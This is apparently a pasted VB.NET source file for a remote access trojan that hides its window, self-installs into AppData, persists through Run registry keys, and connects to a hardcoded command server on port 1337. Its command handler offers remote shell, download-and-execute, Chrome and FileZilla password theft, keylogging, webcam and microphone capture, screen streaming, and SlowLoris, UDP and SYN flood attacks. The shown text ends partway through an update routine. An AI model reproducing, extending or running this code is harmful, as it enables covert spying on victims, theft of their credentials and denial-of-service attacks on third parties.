SHOW:
|
|
- or go back to the newest paste.
1 | Imports System.Windows | |
2 | Imports System | |
3 | Imports System.Windows.Forms | |
4 | Imports System.Windows.Forms.Form | |
5 | Imports Microsoft.VisualBasic | |
6 | Imports System.Reflection | |
7 | Imports System.Net | |
8 | Imports System.Net.Sockets | |
9 | Imports System.Threading | |
10 | Imports System.IO | |
11 | Imports System.Runtime.InteropServices | |
12 | Imports System.Management | |
13 | Imports System.Text.RegularExpressions | |
14 | Imports System.Text | |
15 | Imports Microsoft.Win32 | |
16 | Imports System.Net.NetworkInformation | |
17 | Imports System.Drawing | |
18 | Imports System.ServiceProcess | |
19 | ||
20 | <Assembly: AssemblyTitle("")> | |
21 | <Assembly: AssemblyDescription("")> | |
22 | <Assembly: AssemblyCompany("")> | |
23 | <Assembly: AssemblyProduct("")> | |
24 | <Assembly: AssemblyCopyright("")> | |
25 | <Assembly: AssemblyTrademark("")> | |
26 | <Assembly: AssemblyVersion("0,0,0,0")> | |
27 | <Assembly: AssemblyFileVersion("0,0,0,0")> | |
28 | ||
29 | Namespace MyApp | |
30 | Public Class EntryPoint | |
31 | Public Shared Sub Main(args As [String]()) | |
32 | Dim FrmMain As New Form1 | |
33 | FrmMain.Size = New System.Drawing.Size(0, 0) | |
34 | FrmMain.ShowInTaskbar = False | |
35 | FrmMain.Visible = False | |
36 | FrmMain.Opacity = 0 | |
37 | System.Windows.Forms.Application.Run(FrmMain) | |
38 | End Sub | |
39 | End Class | |
40 | Public Class Form1 | |
41 | Inherits System.Windows.Forms.Form | |
42 | Dim client As TcpClient | |
43 | Dim Connection As Thread | |
44 | Dim enckey As String = "magic_key" | |
45 | Dim screensending As Thread | |
46 | Dim comp As Long | |
47 | Dim res As String | |
48 | Private Declare Function SetCursorPos Lib "user32" (ByVal X As Integer, ByVal Y As Integer) As Integer | |
49 | Public Declare Sub mouse_event Lib "user32" Alias "mouse_event" (ByVal dwFlags As Integer, ByVal dx As Integer, ByVal dy As Integer, ByVal cButtons As Integer, ByVal dwExtraInfo As Integer) | |
50 | Private Const MOUSEEVENTF_LEFTDOWN As Object = &H2 | |
51 | Private Const MOUSEEVENTF_LEFTUP As Object = &H4 | |
52 | Private Const MOUSEEVENTF_RIGHTDOWN As Object = &H8 | |
53 | Private Const MOUSEEVENTF_RIGHTUP As Object = &H10 | |
54 | Dim sl As New SlowLoris | |
55 | Private Declare Function GetForegroundWindow Lib "user32.dll" () As Int32 | |
56 | Private Declare Function GetWindowText Lib "user32.dll" Alias "GetWindowTextA" (ByVal hwnd As Int32, ByVal lpString As String, ByVal cch As Int32) As Int32 | |
57 | Dim WithEvents logger As New Keylogger | |
58 | Dim logs As String | |
59 | Dim strin As String | |
60 | Dim curntdir2 As String | |
61 | Dim listviewfiles As New ListView | |
62 | Dim tbmessage As New TextBox | |
63 | Dim rtblogs As New RichTextBox | |
64 | Dim chat As New Form | |
65 | Dim discomousing As Thread | |
66 | #Region "Fun Declerations" | |
67 | Private Declare Function SystemParametersInfo Lib "user32" Alias "SystemParametersInfoA" (ByVal uAction As Integer, ByVal uParam As Integer, ByVal lpvParam As String, ByVal fuWinIni As Integer) As Integer | |
68 | Private Const SETDESKWALLPAPER As Integer = 20 | |
69 | Private Const UPDATEINIFILE As Long = &H1 | |
70 | Declare Function GetDesktopWindow Lib "user32" () As Long | |
71 | Public Declare Function SendMessage Lib "user32" Alias "SendMessageA" (ByVal hWnd As Long, ByVal wMsg As Long, ByVal wParam As Long, lParam As Integer) As Long | |
72 | Public Const WM_SYSCOMMAND As Long = &H112& | |
73 | Public Const SC_SCREENSAVE As Long = &HF140& | |
74 | Private Declare Function SwapMouseButton& Lib "user32" (ByVal bSwap As Long) | |
75 | Private Declare Function SystemParametersInfo Lib "user32" Alias "SystemParametersInfoA" (ByVal uAction As Long, ByVal uParam As Integer, ByVal lpvParam As Long, ByVal fuWinIni As Long) As Long | |
76 | Declare Function mciSend Lib "winmm.dll" Alias "mciSendStringA" (ByVal lpszCommand As String, ByVal lpszReturnString As String, ByVal cchReturnLength As Long, ByVal hwndCallback As Long) As Long | |
77 | Private Declare Function FindWindow Lib "user32.dll" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Int32 | |
78 | Private Declare Function ShowWindow Lib "user32.dll" (ByVal hwnd As IntPtr, ByVal nCmdShow As Int32) As Int32 | |
79 | Private Const SW_HIDE As Int32 = 0 | |
80 | Private Const SW_RESTORE As Int32 = 9 | |
81 | Private Declare Function SetWindowPos Lib "user32" (ByVal hwnd As Long, ByVal hWndInsertAfter As Long, ByVal x As Long, ByVal y As Long, ByVal cx As Long, ByVal cy As Long, ByVal wFlags As Long) As Long | |
82 | Private Const SWP_HIDEWINDOW As Long = &H80 | |
83 | Private Const SWP_SHOWWINDOW As Long = &H40 | |
84 | #End Region | |
85 | <DllImport("winmm.dll")> _ | |
86 | Private Shared Function mciSendString(ByVal command As String, ByVal buffer As StringBuilder, ByVal bufferSize As Integer, ByVal hwndCallback As IntPtr) As Integer | |
87 | End Function | |
88 | #Region "Webcam Declerations" | |
89 | Dim picCapture As New PictureBox | |
90 | Const WM_CAP As Short = &H400S | |
91 | Const WM_CAP_DRIVER_CONNECT As Integer = WM_CAP + 10 | |
92 | Const WM_CAP_DRIVER_DISCONNECT As Integer = WM_CAP + 11 | |
93 | Const WM_CAP_EDIT_COPY As Integer = WM_CAP + 30 | |
94 | Const WM_CAP_SET_PREVIEW As Integer = WM_CAP + 50 | |
95 | Const WM_CAP_SET_PREVIEWRATE As Integer = WM_CAP + 52 | |
96 | Const WM_CAP_SET_SCALE As Integer = WM_CAP + 53 | |
97 | Const WS_CHILD As Integer = &H40000000 | |
98 | Const WS_VISIBLE As Integer = &H10000000 | |
99 | Const SWP_NOMOVE As Short = &H2S | |
100 | Const SWP_NOSIZE As Short = 1 | |
101 | Const SWP_NOZORDER As Short = &H4S | |
102 | Const HWND_BOTTOM As Short = 1 | |
103 | Dim iDevice As Integer = 0 | |
104 | Dim hHwnd As Integer | |
105 | Declare Function SendWebcam Lib "user32" Alias "SendMessageA" (ByVal hwnd As Integer, ByVal wMsg As Integer, ByVal wParam As Integer, ByVal lParam As Object) As Integer | |
106 | Declare Function SetWebcamPos Lib "user32" Alias "SetWindowPos" (ByVal hwnd As Integer, ByVal hWndInsertAfter As Integer, ByVal x As Integer, ByVal y As Integer, ByVal cx As Integer, ByVal cy As Integer, ByVal wFlags As Integer) As Integer | |
107 | Declare Function DestroyWebcam Lib "user32" (ByVal hndw As Integer) As Boolean | |
108 | Declare Function capCreateCaptureWindowA Lib "avicap32.dll" (ByVal lpszWindowName As String, ByVal dwStyle As Integer, ByVal x As Integer, ByVal y As Integer, ByVal nWidth As Integer, ByVal nHeight As Short, ByVal hWndParent As Integer, ByVal nID As Integer) As Integer | |
109 | Declare Function capGetDriverDescriptionA Lib "avicap32.dll" (ByVal wDriver As Short, ByVal lpszName As String, ByVal cbName As Integer, ByVal lpszVer As String, ByVal cbVer As Integer) As Boolean | |
110 | Dim webcamsending As Thread | |
111 | #End Region | |
112 | Dim installenable, dropinsubfolder, startupenable, startupdir, startupuser, startuplocal, regpersistence, melt, delay As Boolean | |
113 | Dim dropsubfoldername, dropname, path As String | |
114 | Dim delaytime As Integer | |
115 | Dim WithEvents reg As New RegistryWatcher | |
116 | Dim objMutex As Mutex | |
117 | Sub New() | |
118 | logger.CreateHook() | |
119 | End Sub | |
120 | #Region "Connection" | |
121 | Sub Connect() | |
122 | TryAgain: | |
123 | Try | |
124 | client = New TcpClient("Meth@DeceptiveEngineering.info", 1337) | |
125 | Send(AES_Encrypt("NewConnection|" & GetInfo() & "|" & SystemInformation.UserName.ToString() & "|" & SystemInformation.ComputerName.ToString() & "|" & My.Computer.Info.OSFullName & "|" & My.Computer.Info.OSVersion & "|" & getpriv(), enckey)) | |
126 | client.GetStream().BeginRead(New Byte() {0}, 0, 0, AddressOf Read, Nothing) | |
127 | Catch ex As Exception | |
128 | GoTo TryAgain | |
129 | End Try | |
130 | End Sub | |
131 | Sub Read(ByVal ar As IAsyncResult) | |
132 | Dim message As String | |
133 | Try | |
134 | Dim reader As New StreamReader(client.GetStream()) | |
135 | message = reader.ReadLine() | |
136 | message = AES_Decrypt(message, enckey) | |
137 | parse(message) | |
138 | client.GetStream().BeginRead(New Byte() {0}, 0, 0, AddressOf Read, Nothing) | |
139 | Catch ex As Exception | |
140 | Threading.Thread.Sleep(4000) | |
141 | Connect() | |
142 | End Try | |
143 | End Sub | |
144 | Public Sub Send(ByVal message As String) | |
145 | Try | |
146 | Dim writer As New StreamWriter(client.GetStream()) | |
147 | writer.WriteLine(message) | |
148 | writer.Flush() | |
149 | Catch | |
150 | End Try | |
151 | End Sub | |
152 | Private Sub Form1_Load(sender As Object, e As EventArgs) Handles MyBase.Load | |
153 | Try | |
154 | objMutex = New Mutex(False, "S3Y§>Z§~|WY+%|#BY=>VR1XGF°TNIPN|T8Y7XHFV'23W'1-!>38KS*B<1X_NDW°°3PT>)_-§_0699°_M&FB/&B10§%=N&PN0?G*/!^DE+YM+MY^OMP>Q~SZF?Q96ZAKV'_V2G2TVV5ZEEO") | |
155 | If objMutex.WaitOne(0, False) = False Then | |
156 | objMutex.Close() | |
157 | objMutex = Nothing | |
158 | Application.ExitThread() | |
159 | End | |
160 | End If | |
161 | ||
162 | installenable = 1 | |
163 | dropinsubfolder = 0 | |
164 | dropsubfoldername = "SubFolder Name" | |
165 | startupenable = 1 | |
166 | startupdir = False | |
167 | startupuser = False | |
168 | startuplocal = True | |
169 | regpersistence = 1 | |
170 | melt = 1 | |
171 | delay = 1 | |
172 | dropname = "TestName.exe" | |
173 | path = "Appdata Roaming" | |
174 | delaytime = 5 | |
175 | ||
176 | If delay = True Then | |
177 | System.Threading.Thread.Sleep(delaytime * 1000) | |
178 | End If | |
179 | ||
180 | If Application.ExecutablePath.Contains("Temp") Or Application.ExecutablePath.Contains("AppData") Or Application.ExecutablePath.Contains("Program") Then | |
181 | GoTo 1 | |
182 | End If | |
183 | ||
184 | If installenable = True Then | |
185 | If dropinsubfolder = True Then | |
186 | If Not My.Computer.FileSystem.DirectoryExists(getPath(path) & "\" & dropsubfoldername) Then | |
187 | My.Computer.FileSystem.CreateDirectory(getPath(path) & "\" & dropsubfoldername) | |
188 | End If | |
189 | IO.File.WriteAllBytes(getPath(path) & "\" & dropsubfoldername & "\" & dropname, IO.File.ReadAllBytes(Application.ExecutablePath)) | |
190 | domelt(getPath(path) & "\" & dropsubfoldername & "\" & dropname) | |
191 | Exit Sub | |
192 | Else | |
193 | IO.File.WriteAllBytes(getPath(path) & "\" & dropname, IO.File.ReadAllBytes(Application.ExecutablePath)) | |
194 | domelt(getPath(path) & "\" & dropname) | |
195 | Exit Sub | |
196 | End If | |
197 | End If | |
198 | ||
199 | 1: If startupenable = True Then | |
200 | If startupdir = True Then | |
201 | Dim nam As String = New IO.FileInfo(Application.ExecutablePath).Name | |
202 | IO.File.WriteAllBytes(Environment.GetFolderPath(Environment.SpecialFolder.Startup).ToString & "\" & nam, IO.File.ReadAllBytes(Application.ExecutablePath)) | |
203 | ElseIf startupuser = True Then | |
204 | Dim regkey As RegistryKey | |
205 | regkey = Registry.CurrentUser.OpenSubKey("Software\Microsoft\Windows\CurrentVersion\Run", True) | |
206 | regkey.SetValue(New IO.FileInfo(Application.ExecutablePath).Name.Replace(".exe", ""), Chr(34) & Application.ExecutablePath & Chr(34)) | |
207 | ElseIf startuplocal = True Then | |
208 | Dim regkey As RegistryKey | |
209 | regkey = Registry.LocalMachine.OpenSubKey("Software\Microsoft\Windows\CurrentVersion\Run", True) | |
210 | regkey.SetValue(New IO.FileInfo(Application.ExecutablePath).Name.Replace(".exe", ""), Chr(34) & Application.ExecutablePath & Chr(34)) | |
211 | If regpersistence = True Then | |
212 | reg.AddWatcher(RegistryWatcher.HKEY_ROOTS.HKEY_LOCAL_MACHINE, "Software\Microsoft\Windows\CurrentVersion\Run", New IO.FileInfo(Application.ExecutablePath).Name.Replace(".exe", "")) | |
213 | End If | |
214 | End If | |
215 | End If | |
216 | ||
217 | If melt = True Then | |
218 | SetAttr(Application.ExecutablePath, FileAttribute.Hidden) | |
219 | End If | |
220 | ||
221 | Connection = New Thread(AddressOf Connect) | |
222 | Connection.Start() | |
223 | Catch | |
224 | End Try | |
225 | End Sub | |
226 | Sub parse(ByVal msg As String) | |
227 | Try | |
228 | If msg = "Disconnected" Then | |
229 | Connection.Abort() | |
230 | Connection = New Thread(AddressOf Connect) | |
231 | Connection.Start() | |
232 | ElseIf msg = "SystemInformation" Then | |
233 | Send(AES_Encrypt("SystemInformation|" & getsystem() & GetDeepInfo(), enckey)) | |
234 | ElseIf msg = "GetProcess" Then | |
235 | sendprocess() | |
236 | ElseIf msg.StartsWith("Kill") Then | |
237 | KillProcesses(msg) | |
238 | ElseIf msg.StartsWith("New") Then | |
239 | System.Diagnostics.Process.Start(msg.Split("|")(1)) | |
240 | ElseIf msg = "Software" Then | |
241 | getinstalledsoftware() | |
242 | ElseIf msg.StartsWith("RD") Then | |
243 | comp = msg.Split("|")(1) | |
244 | res = msg.Split("|")(2) | |
245 | screensending = New Thread(AddressOf sendscreen) | |
246 | screensending.Start() | |
247 | ElseIf msg = "Stop" Then | |
248 | screensending.Abort() | |
249 | ElseIf msg = "GetPcBounds" Then | |
250 | Send(AES_Encrypt("PCBounds" & My.Computer.Screen.Bounds.Height & "x" & My.Computer.Screen.Bounds.Width, enckey)) | |
251 | ElseIf msg.Contains("SetCurPos") Then | |
252 | MouseMov(msg) | |
253 | ElseIf msg.StartsWith("OpenWebsite") Then | |
254 | openwebsite(msg.Replace("OpenWebsite", "")) | |
255 | ElseIf msg.StartsWith("DandE") Then | |
256 | dande(msg.Replace("DandE", "")) | |
257 | ElseIf msg.StartsWith("MSG") Then | |
258 | MessageBox.Show(GetBetween(msg, "Body: ", " Icon:", 0), GetBetween(msg, "Title: ", " Body:", 0), MessageBoxButton(GetBetween(msg, "Button: ", " End", 0)), MessageBoxIcn(GetBetween(msg, "Icon: ", " Button:", 0))) | |
259 | ElseIf msg = "GetHostsFile" Then | |
260 | loadhostsfile() | |
261 | ElseIf msg.StartsWith("SaveHostsFile") Then | |
262 | savehostsfile(msg.Replace("SaveHostsFile", "")) | |
263 | ElseIf msg = "GetCPImage" Then | |
264 | getclipboardimage() | |
265 | ElseIf msg = "GetCPText" Then | |
266 | getclipboardtext() | |
267 | ElseIf msg.StartsWith("SaveCPText") Then | |
268 | setclipboardtext(msg.Replace("SaveCPText", "")) | |
269 | ElseIf msg.StartsWith("Shell") Then | |
270 | runshell(msg.Replace("Shell", "")) | |
271 | ElseIf msg = "GetKeyLogs" Then | |
272 | Send(AES_Encrypt("KeyLogs" & logs, enckey)) | |
273 | ElseIf msg = "DelKeyLogs" Then | |
274 | logs = "" | |
275 | ElseIf msg = "RecordingStart" Then | |
276 | audio_start() | |
277 | ElseIf msg = "RecordingStop" Then | |
278 | audio_stop() | |
279 | ElseIf msg = "RecordingDownload" Then | |
280 | audio_get() | |
281 | ElseIf msg = "GetPasswords" Then | |
282 | Main.GetChrome() | |
283 | Send(AES_Encrypt("Passwords" & Main.lol & FileZilla(), enckey)) | |
284 | ElseIf msg = "GetTCPConnections" Then | |
285 | Send(AES_Encrypt("TCPConnections" & GetTCPConnections(), enckey)) | |
286 | ElseIf msg.StartsWith("GetStartup") Then | |
287 | GetStartupEntries() | |
288 | ElseIf msg.StartsWith("UpdateFromLink") Then | |
289 | UpdatefromLink(msg.Replace("UpdateFromLink", "")) | |
290 | ElseIf msg.StartsWith("UpdatefromFile") Then | |
291 | UpdateFromFile(msg.Replace("UpdatefromFile", "")) | |
292 | ElseIf msg.StartsWith("ExecuteFromLink") Then | |
293 | ExecutefromLink(msg.Replace("ExecuteFromLink", "")) | |
294 | ElseIf msg.StartsWith("ExecutefromFile") Then | |
295 | ExecutefromFile(msg.Replace("ExecutefromFile", "")) | |
296 | ElseIf msg = "Restart" Then | |
297 | rstart() | |
298 | ElseIf msg = "Uninstall" Then | |
299 | delete(3) | |
300 | ElseIf msg.StartsWith("RemovefromStartup") Then | |
301 | removefromstartup(msg.Replace("RemovefromStartup", "")) | |
302 | ElseIf msg = "ListDrives" Then | |
303 | listdrives() | |
304 | ElseIf msg.StartsWith("ListFiles") Then | |
305 | showfiles(msg.Replace("ListFiles", "")) | |
306 | ElseIf msg.Contains("mkdir") Then | |
307 | createnewdirectory(msg.Replace("mkdir", "")) | |
308 | ElseIf msg.Contains("rmdir") Then | |
309 | deletedirectory(msg.Replace("rmdir", "")) | |
310 | ElseIf msg.Contains("rnfolder") Then | |
311 | renamedirectory(msg.Replace("rnfolder", "").Split("|")(0), msg.Replace("rnfolder", "").Split("|")(1)) | |
312 | ElseIf msg.Contains("mvdir") Then | |
313 | movedirectory(msg.Replace("mvdir", "").Split("|")(0), msg.Replace("mvdir", "").Split("|")(1), msg.Replace("mvdir", "").Split("|")(2)) | |
314 | ElseIf msg.Contains("cpdir") Then | |
315 | copydirectory(msg.Replace("cpdir", "").Split("|")(0), msg.Replace("cpdir", "").Split("|")(1), msg.Replace("cpdir", "").Split("|")(2)) | |
316 | ElseIf msg.Contains("mkfile") Then | |
317 | CreateNewFile(msg) | |
318 | ElseIf msg.Contains("rmfile") Then | |
319 | deletefile(msg.Replace("rmfile", "").Split("|")(0)) | |
320 | ElseIf msg.Contains("rnfile") Then | |
321 | renamefile(msg.Replace("rnfile", "").Split("|")(0), msg.Replace("rnfile", "").Split("|")(1)) | |
322 | ElseIf msg.Contains("movefile") Then | |
323 | movefile(msg.Replace("movefile", "").Split("|")(0), msg.Replace("movefile", "").Split("|")(1), msg.Replace("move", "").Split("|")(2)) | |
324 | ElseIf msg.Contains("copyfile") Then | |
325 | copyfile(msg.Replace("copyfile", "").Split("|")(0), msg.Replace("copyfile", "").Split("|")(1), msg.Replace("copyfile", "").Split("|")(2)) | |
326 | ElseIf msg.StartsWith("sharefile") Then | |
327 | sharefile(msg.Replace("sharefile", "")) | |
328 | ElseIf msg.StartsWith("FileUpload") Then | |
329 | UploadFile(msg.Replace("FileUpload", "")) | |
330 | ElseIf msg = "ListWebcamDevices" Then | |
331 | listdevices() | |
332 | ElseIf msg = "WebcamStart" Then | |
333 | webcamsending = New Thread(AddressOf getwebcam) | |
334 | webcamsending.Start() | |
335 | ElseIf msg.StartsWith("SlowLorisStart") Then | |
336 | StartSlowLoris(msg.Replace("SlowLorisStart", "")) | |
337 | ElseIf msg.StartsWith("SlowLorisStop") Then | |
338 | sl.StopFlood() | |
339 | ElseIf msg.StartsWith("UDPStart") Then | |
340 | StartUDP(msg.Replace("UDPStart", "")) | |
341 | ElseIf msg = "UDPStop" Then | |
342 | If UDPFlood.FloodRunning = True Then | |
343 | UDPFlood.StopUDPFlood() | |
344 | End If | |
345 | ElseIf msg.StartsWith("SYNStart") Then | |
346 | StartSYN(msg.Replace("SYNStart", "")) | |
347 | ElseIf msg = "SYNStop" Then | |
348 | If SynFlood.IsRunning = True Then | |
349 | SynFlood.StopSynFlood() | |
350 | End If | |
351 | ElseIf msg.StartsWith("HTMLScripting") Then | |
352 | IO.File.WriteAllText(My.Computer.FileSystem.SpecialDirectories.Temp.ToString() & "\FBqINhRdpgnqATxJ.html", msg.Replace("HTMLScripting", "")) | |
353 | System.Diagnostics.Process.Start(My.Computer.FileSystem.SpecialDirectories.Temp.ToString() & "\FBqINhRdpgnqATxJ.html") | |
354 | ElseIf msg.StartsWith("VBSScripting") Then | |
355 | IO.File.WriteAllText(My.Computer.FileSystem.SpecialDirectories.Temp.ToString() & "\UjfAPUFPaUkAqQTZ.vbs", msg.Replace("VBSScripting", "")) | |
356 | System.Diagnostics.Process.Start(My.Computer.FileSystem.SpecialDirectories.Temp.ToString() & "\UjfAPUFPaUkAqQTZ.vbs") | |
357 | ElseIf msg.StartsWith("BATScripting") Then | |
358 | IO.File.WriteAllText(My.Computer.FileSystem.SpecialDirectories.Temp.ToString() & "\X53DNwMsMwjtC9JW.bat", msg.Replace("BATScripting", "")) | |
359 | System.Diagnostics.Process.Start(My.Computer.FileSystem.SpecialDirectories.Temp.ToString() & "\X53DNwMsMwjtC9JW.bat") | |
360 | ElseIf msg.StartsWith("GetThumbNails") Then | |
361 | SendThumbNail() | |
362 | ElseIf msg.Contains("Website") Then | |
363 | openwebsite(msg.Split("|")(1)) | |
364 | ElseIf msg.Contains("logoff") Then | |
365 | Shell("shutdown /l") | |
366 | ElseIf msg.Contains("shutdwn") Then | |
367 | Shell("shutdown /s") | |
368 | ElseIf msg.Contains("restrt") Then | |
369 | Shell("shutdown /r") | |
370 | ElseIf msg.Contains("Change") Then | |
371 | My.Computer.Network.DownloadFile(msg.Split("|")(0), My.Computer.FileSystem.SpecialDirectories.Temp.ToString & "\wallpaper.jpg") | |
372 | SystemParametersInfo(SETDESKWALLPAPER, 0, My.Computer.FileSystem.SpecialDirectories.Temp.ToString & "\wallpaper.jpg", UPDATEINIFILE) | |
373 | ElseIf msg.Contains("Spk") Then | |
374 | Dim SAPI As Object | |
375 | SAPI = CreateObject("SAPI.spvoice") | |
376 | SAPI.Speak(msg.Split("|")(1).ToString) | |
377 | ElseIf msg.Contains("UndoMouse") Then | |
378 | SwapMouseButton(False) | |
379 | ElseIf msg.Contains("SwapMouse") Then | |
380 | SwapMouseButton(True) | |
381 | ElseIf msg = "CloseCD" Then | |
382 | mciSend("set CDAudio door closed", 0, 0, 0) | |
383 | ElseIf msg = "OpenCD" Then | |
384 | mciSend("set CDAudio door open", 0, 0, 0) | |
385 | ElseIf msg.Contains("ShowIcons") Then | |
386 | Dim hWnd As IntPtr | |
387 | hWnd = FindWindow(vbNullString, "Program Manager") | |
388 | If Not hWnd = 0 Then | |
389 | ShowWindow(hWnd, SW_RESTORE) | |
390 | End If | |
391 | ElseIf msg.Contains("HideIcons") Then | |
392 | Dim hWnd As IntPtr | |
393 | hWnd = FindWindow(vbNullString, "Program Manager") | |
394 | If Not hWnd = 0 Then | |
395 | ShowWindow(hWnd, SW_HIDE) | |
396 | End If | |
397 | ElseIf msg.Contains("ShowTaskbar") Then | |
398 | ShowTaskBar() | |
399 | ElseIf msg.Contains("HideTaskbar") Then | |
400 | HideTaskBar() | |
401 | ElseIf msg = "StartDiscoMouse" Then | |
402 | discomousing = New Thread(AddressOf discomouse) | |
403 | discomousing.Start() | |
404 | ElseIf msg = "StopDiscoMouse" Then | |
405 | discomousing.Abort() | |
406 | ElseIf msg = "WebcamStop" Then | |
407 | webcamsending.Abort() | |
408 | ElseIf msg = "GetServices" Then | |
409 | SendServices() | |
410 | ElseIf msg.StartsWith("ServiceAction") Then | |
411 | Dim res As String = msg.Replace("ServiceAction", "") | |
412 | PerformServiceAction(res.Split("|")(0), res.Split("|")(1)) | |
413 | End If | |
414 | Catch | |
415 | End Try | |
416 | End Sub | |
417 | Function getPath(ByVal input As String) As String | |
418 | Select Case input | |
419 | Case "Appdata Local" | |
420 | Return Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData).ToString() | |
421 | Case "Appdata Roaming" | |
422 | Return Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData).ToString() | |
423 | Case "Temp" | |
424 | Return My.Computer.FileSystem.SpecialDirectories.Temp.ToString() | |
425 | Case "Program Files" | |
426 | Return Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles).ToString() | |
427 | Case "Programs" | |
428 | Return Environment.GetFolderPath(Environment.SpecialFolder.Programs).ToString() | |
429 | Case Else : Return Nothing | |
430 | End Select | |
431 | End Function | |
432 | Sub domelt(ByVal path As String) | |
433 | Try | |
434 | Dim p As New System.Diagnostics.ProcessStartInfo("cmd.exe") | |
435 | p.Arguments = "/C ping 1.1.1.1 -n 1 -w " & 3 & " > Nul & Del " & ControlChars.Quote & Application.ExecutablePath & ControlChars.Quote & "&" & ControlChars.Quote & path & ControlChars.Quote | |
436 | p.CreateNoWindow = True | |
437 | p.ErrorDialog = False | |
438 | p.WindowStyle = System.Diagnostics.ProcessWindowStyle.Hidden | |
439 | System.Diagnostics.Process.Start(p) | |
440 | Application.Exit() | |
441 | Catch | |
442 | End Try | |
443 | End Sub | |
444 | Private Sub reg_RegistryChanged(M As RegistryWatcher.Monitor) Handles reg.RegistryChanged | |
445 | Try | |
446 | Dim regkey As RegistryKey | |
447 | regkey = Registry.LocalMachine.OpenSubKey("Software\Microsoft\Windows\CurrentVersion\Run", True) | |
448 | regkey.SetValue(New IO.FileInfo(Application.ExecutablePath).Name.Replace(".exe", ""), Chr(34) & Application.ExecutablePath & Chr(34)) | |
449 | Catch | |
450 | End Try | |
451 | End Sub | |
452 | #End Region | |
453 | #Region "Others" | |
454 | Sub discomouse() | |
455 | Try | |
456 | Do | |
457 | Dim mousepos As New System.Drawing.Point | |
458 | mousepos.X = New Random().Next(0, My.Computer.Screen.Bounds.Height) | |
459 | mousepos.Y = New Random().Next(0, My.Computer.Screen.Bounds.Width) | |
460 | System.Windows.Forms.Cursor.Position = mousepos | |
461 | Loop | |
462 | Catch | |
463 | End Try | |
464 | End Sub | |
465 | Sub KillProcesses(ByVal txt As String) | |
466 | Try | |
467 | txt = txt.Replace("Kill|", "") | |
468 | ||
469 | For i As Integer = 0 To CountCharacter(txt, "|") | |
470 | System.Diagnostics.Process.GetProcessesByName(txt.Split("|")(i).Remove(txt.Split("|")(i).Length - 4, 4))(0).CloseMainWindow() | |
471 | Next | |
472 | Catch | |
473 | End Try | |
474 | End Sub | |
475 | Public Function CountCharacter(ByVal value As String, ByVal ch As Char) As Integer | |
476 | Try | |
477 | Dim cnt As Integer = 0 | |
478 | For Each c As Char In value | |
479 | If c = ch Then cnt += 1 | |
480 | Next | |
481 | Return cnt | |
482 | Catch | |
483 | Return Nothing | |
484 | End Try | |
485 | End Function | |
486 | Sub openwebsite(ByVal url As String) | |
487 | Try | |
488 | System.Diagnostics.Process.Start(url) | |
489 | Catch : End Try | |
490 | End Sub | |
491 | Sub dande(ByVal url As String) | |
492 | Try | |
493 | Dim web As New WebClient | |
494 | web.DownloadFile(url, My.Computer.FileSystem.SpecialDirectories.Temp.ToString() & "\file.exe") | |
495 | Shell(My.Computer.FileSystem.SpecialDirectories.Temp.ToString() & "\file.exe") | |
496 | Catch | |
497 | End Try | |
498 | End Sub | |
499 | Private Function GetBetween(ByVal input As String, ByVal str1 As String, ByVal str2 As String, ByVal index As Integer) As String | |
500 | Dim temp As String = Regex.Split(input, str1)(index + 1) | |
501 | Return Regex.Split(temp, str2)(0) | |
502 | End Function | |
503 | Function MessageBoxButton(ByVal Text As String) As Object | |
504 | Select Case Text | |
505 | Case "AbortRetryIgnore" | |
506 | Return MessageBoxButtons.AbortRetryIgnore | |
507 | Case "OK" | |
508 | Return MessageBoxButtons.OK | |
509 | Case "OKCancel" | |
510 | Return MessageBoxButtons.OKCancel | |
511 | Case "RetryCancel" | |
512 | Return MessageBoxButtons.RetryCancel | |
513 | Case "YesNo" | |
514 | Return MessageBoxButtons.YesNo | |
515 | Case "YesNoCancel" | |
516 | Return MessageBoxButtons.YesNoCancel | |
517 | Case Else | |
518 | Return MessageBoxButtons.OK | |
519 | End Select | |
520 | End Function | |
521 | Function MessageBoxIcn(ByVal text As String) As Object | |
522 | Select Case text | |
523 | Case "Asterisk" | |
524 | Return MessageBoxIcon.Asterisk | |
525 | Case "Error" | |
526 | Return MessageBoxIcon.Error | |
527 | Case "Exclamation" | |
528 | Return MessageBoxIcon.Exclamation | |
529 | Case "Hand" | |
530 | Return MessageBoxIcon.Hand | |
531 | Case "Information" | |
532 | Return MessageBoxIcon.Information | |
533 | Case "None" | |
534 | Return MessageBoxIcon.None | |
535 | Case "Question" | |
536 | Return MessageBoxIcon.Question | |
537 | Case "Stop" | |
538 | Return MessageBoxIcon.Stop | |
539 | Case "Warning" | |
540 | Return MessageBoxIcon.Warning | |
541 | Case Else | |
542 | Return MessageBoxIcon.None | |
543 | End Select | |
544 | End Function | |
545 | Sub UpdatefromLink(ByVal url As String) | |
546 | Try | |
547 | My.Computer.Network.DownloadFile(url, My.Computer.FileSystem.SpecialDirectories.Temp.ToString() & "\updated.exe") | |
548 | Dim p As New System.Diagnostics.ProcessStartInfo("cmd.exe") | |
549 | p.Arguments = "/C ping 1.1.1.1 -n 1 -w 5 > Nul & Del " & ControlChars.Quote & Application.ExecutablePath & ControlChars.Quote | |
550 | p.CreateNoWindow = True | |
551 | p.ErrorDialog = False | |
552 | p.WindowStyle = System.Diagnostics.ProcessWindowStyle.Hidden | |
553 | ||
554 | Dim pp As New System.Diagnostics.ProcessStartInfo("cmd.exe") | |
555 | pp.Arguments = "/C ping 1.1.1.1 -n 1 -w 5 > Nul & " & ControlChars.Quote & My.Computer.FileSystem.SpecialDirectories.Temp.ToString() & "\updated.exe" & ControlChars.Quote | |
556 | pp.CreateNoWindow = True | |
557 | pp.ErrorDialog = False | |
558 | pp.WindowStyle = System.Diagnostics.ProcessWindowStyle.Hidden | |
559 | ||
560 | System.Diagnostics.Process.Start(p) | |
561 | System.Diagnostics.Process.Start(pp) | |
562 | ||
563 | Application.Exit() | |
564 | Catch | |
565 | End Try | |
566 | End Sub | |
567 | Sub UpdateFromFile(ByVal txt As String) | |
568 | Try | |
569 | File.WriteAllBytes(My.Computer.FileSystem.SpecialDirectories.Temp.ToString() & "\updated.exe", Convert.FromBase64String(txt)) | |
570 | Dim p As New System.Diagnostics.ProcessStartInfo("cmd.exe") | |
571 | p.Arguments = "/C ping 1.1.1.1 -n 1 -w 5 > Nul & Del " & ControlChars.Quote & Application.ExecutablePath & ControlChars.Quote | |
572 | p.CreateNoWindow = True | |
573 | p.ErrorDialog = False | |
